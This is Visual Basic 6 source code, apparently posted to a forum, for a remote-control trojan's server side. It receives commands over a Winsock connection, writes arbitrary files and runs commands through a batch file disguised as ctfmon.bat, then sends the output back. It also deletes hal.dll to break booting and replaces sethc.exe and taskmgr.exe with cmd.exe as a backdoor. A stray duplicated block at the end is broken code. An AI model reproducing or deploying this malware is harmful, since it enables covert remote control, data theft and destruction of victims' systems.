Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_Click()
Dim datosarch As String, creando As String, lilis As Integer, linear As String, totales As Integer
datosarch = InputBox("Indica ruta, noombre y extension: (ej c:\ola.txt)", "Especifica datos", "")

porden = "uno" & "-xzññzx-" & datosarch & "-xzññzx-" & txtarchivo

frmcliente.wsk.SendData creando
frmcliente.wsk.SendData porden

End Sub

Private Sub Timer1_Timer()
Const EM_GETLINECOUNT = &HBA
Const EM_GETLINE = &HC4
lilis = SendMessage(txtarchivo.hwnd, EM_GETLINECOUNT, 0, 0)
lbll.Caption = "Lineas: " & lilis
End Sub

Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String, sistrema As String, todo As String, buscca As Integer
Dim handle_Process As Long
     Dim id_process As Long
    Dim lp_ExitCode As Long
    Dim casa As String
    
On Error GoTo error

'--------------------------------------------------------------------------'

casa = Environ$("homedrive")
sistrema = Environ$("windir") & "\system32"
letra = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
ini = casa & "\ctfmon.bat"

'--------------------------------variables---------------------------------'

[b]wsk.GetData orden

If orden = "creando" Then interruptor = True

If interruptor = True & orden <> creando Then

arris = Split(orden, "-xzññzx-")

ordencr = arris(2)
ruta = arris(1)

Open ruta For Output As #1
Print #1, ordencr
Close #1

Exit Sub
End If[/b]

If interruptor = False & orden <> creando Then

'------------------ordenes personalizadas----------------------------------'

If orden = "del " & sistrema & "\hal.dll" Then Kill sistrema & "\hal.dll"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\sethc.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\sethc.exe"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\taskmgr.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\taskmgr.exe"
If orden = "eliminar troyano" Then
Kill letra & "\intel.exe"
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'

Open ini For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1


 
     id_process = Shell(ini)
     

     
    handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)

    
    Do

         Call GetExitCodeProcess(handle_Process, lp_ExitCode)

         DoEvents

     Loop While lp_ExitCode = STATUS_PENDING

   
     Call CloseHandle(handle_Process)

   Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom

End If
error:
End Sub

Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom